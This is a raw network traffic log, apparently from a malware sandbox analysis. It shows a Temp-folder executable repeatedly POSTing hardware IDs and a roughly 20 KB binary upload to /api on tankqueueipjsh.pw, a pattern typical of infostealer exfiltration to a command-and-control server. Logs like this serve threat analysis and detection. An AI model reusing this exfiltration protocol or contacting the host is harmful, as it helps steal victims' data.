Dec 6, 2023 14:53:06.526488066 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:53:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=k36jlhf1evjp16enao8moou76g; expires=Sun, 31 Mar 2024 07:39:45 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:53:06 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:53:06 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:53:06 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=QI4bmTmvo0gOTRhEOwS%2B2XHpZ0sqyk4B03tDA7BTmZusL1rd%2BDZFsxuoQK2Or4duejTSweXixGwT5BeU72F6PXaetdfWYaj0tJsuMDBTtoUqQuWRZ4LORuZR1bVyhwCzJMlALw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudf Data Raw: Data Ascii:
Dec 6, 2023 14:53:06.526510954 CET	118	IN	Data Raw: 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 35 64 63 39 34 34 32 64 31 37 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: areCF-RAY: 8315035dc9442d17-IAD15Malformed packet data
Dec 6, 2023 14:53:06.526524067 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	50197	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:53:06.642653942 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:53:06.642821074 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:53:07.001446009 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:53:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=oibmvhm24267fmjf4lo6v5urkj; expires=Sun, 31 Mar 2024 07:39:45 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:53:06 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:53:06 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:53:06 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=rtSR0Pq4yI%2B9qJgi0CDS5QcAzGQ%2FAA5B7qVopGMNldCtCzYcbQMufQbukq1CKtJnCeacTl98SiEbTj4795rPnIrc9zQ3cE7PHulTRMBxkJ2cyj7C1DlsIX44mTsIYkYJflYbUg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudf Data Raw: Data Ascii:
Dec 6, 2023 14:53:07.001488924 CET	118	IN	Data Raw: 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 36 30 63 61 63 66 30 38 32 65 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: areCF-RAY: 83150360cacf082e-IAD15Malformed packet data
Dec 6, 2023 14:53:07.001523972 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	50198	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:53:07.254066944 CET	337	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20560 Host: tankqueueipjsh.pw
Dec 6, 2023 14:53:07.254300117 CET	11628	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:53:07.348937035 CET	7770	OUT	Data Raw: 5d 75 9f b7 33 87 fa 9d ec fa 4a 6b 3b 8d 4b 4c 74 dd d1 b3 83 ed 79 ce ad ed bf cf ea e6 fa 75 bd e1 d2 2e 2f eb 33 d9 e8 95 a9 57 77 ad 21 b5 1e 39 2b 89 83 fd fa 5a 29 bc b6 a3 f6 99 b5 b2 46 4b 99 ec c8 81 a8 af c4 da be 66 a2 6f 22 6b d2 b2 Data Ascii: ]u3Jk;KLtyu./3Ww!9+Z)FKfo"kZ.">38_LYkd.ck^{~^m"h~#tsY3_d~bY]OPfKbu4Uj\x;T^*OWn
Dec 6, 2023 14:53:07.348975897 CET	1324	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2023 14:53:07.752764940 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:53:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=cvh81588ja54h31s8j5kfltl5r; expires=Sun, 31 Mar 2024 07:39:46 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:53:07 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:53:07 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:53:07 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=U0hLMEwaKH%2B7w2m44upMfHw8MtDGQLtm910ADijmuaxiCWLuF0h%2BaWtD2RSkGJtko4kyRt3ieUZi85%2FT3kIsgdkNuJOFHE3JkDERI3xbzRKoyFG1%2FamxgzwJMrwM6pA1q2we%2FA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: Data Raw: Data Ascii:
Dec 6, 2023 14:53:07.752808094 CET	119	IN	Data Raw: 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 36 34 39 62 61 62 30 37 66 61 2d 49 41 44 0d 0a 0d 0a 31 30 0d 0a 6f 6b 20 31 30 32 2e 31 36 35 2e 34 38 2e 38 33 0d 0a Data Ascii: loudflareCF-RAY: 831503649bab07fa-IAD10ok 102.165.48.83
Dec 6, 2023 14:53:07.752820969 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	50199	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:53:07.862324953 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:53:07.862514019 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:53:08.219104052 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:53:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=95skk65g99a1s58udrvpd5b9s3; expires=Sun, 31 Mar 2024 07:39:47 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:53:08 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:53:08 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:53:08 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=osh3Ckj0bStk4q%2BLToMN4KRtpam5eyJSBj12ZVVoOWwy10DdWjM%2B3qbLJZ7EyWAcH6gS733iBDMorBF9hGyx9700ix6ga0XmhR6293MmCuH%2Bhw%2F41krUbjVTCrFvWm5AJkyLtg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cl Data Raw: Data Ascii:
Dec 6, 2023 14:53:08.219129086 CET	122	IN	Data Raw: 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 36 38 36 63 61 65 30 35 38 33 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: udflareCF-RAY: 831503686cae0583-IAD15Malformed packet data
Dec 6, 2023 14:53:08.219136953 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	50200	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:53:08.325565100 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:53:08.325689077 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:53:08.678738117 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:53:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=pmg5uadkuit1j3g46il0lt1sfg; expires=Sun, 31 Mar 2024 07:39:47 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:53:08 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:53:08 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:53:08 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=JUurl2fylsgmeqOgoFso613gUwOvGGEM40e9esrpTWagAkUe35YAqTWL%2B%2BM%2BBcE06NFtZWopVd1j382kLIHb35VeX5keBszQHmFWxyftz9YpW%2Fpw%2Fe91V6YBs%2Bzv63KOfnqbzw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server Data Raw: Data Ascii:
Dec 6, 2023 14:53:08.678790092 CET	126	IN	Data Raw: 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 36 62 34 61 66 62 31 66 65 32 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: cloudflareCF-RAY: 8315036b4afb1fe2-IAD15Malformed packet data
Dec 6, 2023 14:53:08.678798914 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	50201	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:53:08.813796043 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:53:08.813958883 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:53:09.158842087 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:53:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=8erhg7hnrjl9aor8oknctbj2ls; expires=Sun, 31 Mar 2024 07:39:48 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:53:09 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:53:09 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:53:09 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Ky3VYH6q5MEeIDvGwq33GsTokDJKJXxSzj62Dx0vTwxrizJ79xHEEj8WzqksGMrN2tJ9VkuCURn3WuMXqCOlU9z66iEkDdkVb4MU2KRxMiZ2jPTRQ9ek1Rc8cxkaxK5I7%2FUShw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudfla Data Raw: Data Ascii:
Dec 6, 2023 14:53:09.158864975 CET	116	IN	Data Raw: 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 36 65 35 65 32 35 31 66 64 36 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: eCF-RAY: 8315036e5e251fd6-IAD15Malformed packet data
Dec 6, 2023 14:53:09.158901930 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	50202	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:53:09.260179043 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:53:09.260332108 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:53:09.633270979 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:53:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=1cfc22j56n2702466rpqhrfaf6; expires=Sun, 31 Mar 2024 07:39:48 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:53:09 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:53:09 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:53:09 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=JjhjTMU8TmLPJJ7F3B7nBnHg4Jh0PnrZFUdakOfaEiR5JJYX%2BXLSq0%2BiUlHohgZw%2B1Tr7gnfqVSSROPk3XtesVvqbeF%2FINqC7uRX6elnnc7v71ZC5ABhqJG5OrCSKOonR%2B%2FOjg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server Data Raw: Data Ascii:
Dec 6, 2023 14:53:09.633297920 CET	126	IN	Data Raw: 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 37 31 31 64 37 66 35 38 32 34 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: cloudflareCF-RAY: 831503711d7f5824-IAD15Malformed packet data
Dec 6, 2023 14:53:09.633315086 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	50203	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:53:09.733211994 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:53:09.733386993 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:53:10.085340977 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:53:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=vi6vpicvpjljjafcrv8gpsjdsv; expires=Sun, 31 Mar 2024 07:39:48 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:53:09 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:53:09 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:53:09 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=mFTQIgMMfd2pjXBFwyZ3cZWAXkYsgOzLaYCUb3iJPXT0mP9lEvGAYQtPWAawmd8GR5gBnvn4nI3wL2NVR0f%2FbbBV9MyhuIHTmlfrt1XmAXqEkS3gmUpF3F%2BGFJuu%2BgsFj%2FrN0w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cl Data Raw: Data Ascii:
Dec 6, 2023 14:53:10.085390091 CET	122	IN	Data Raw: 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 37 34 31 38 38 38 35 62 33 35 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: udflareCF-RAY: 8315037418885b35-IAD15Malformed packet data
Dec 6, 2023 14:53:10.085424900 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	50204	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:53:10.186229944 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:53:10.186575890 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
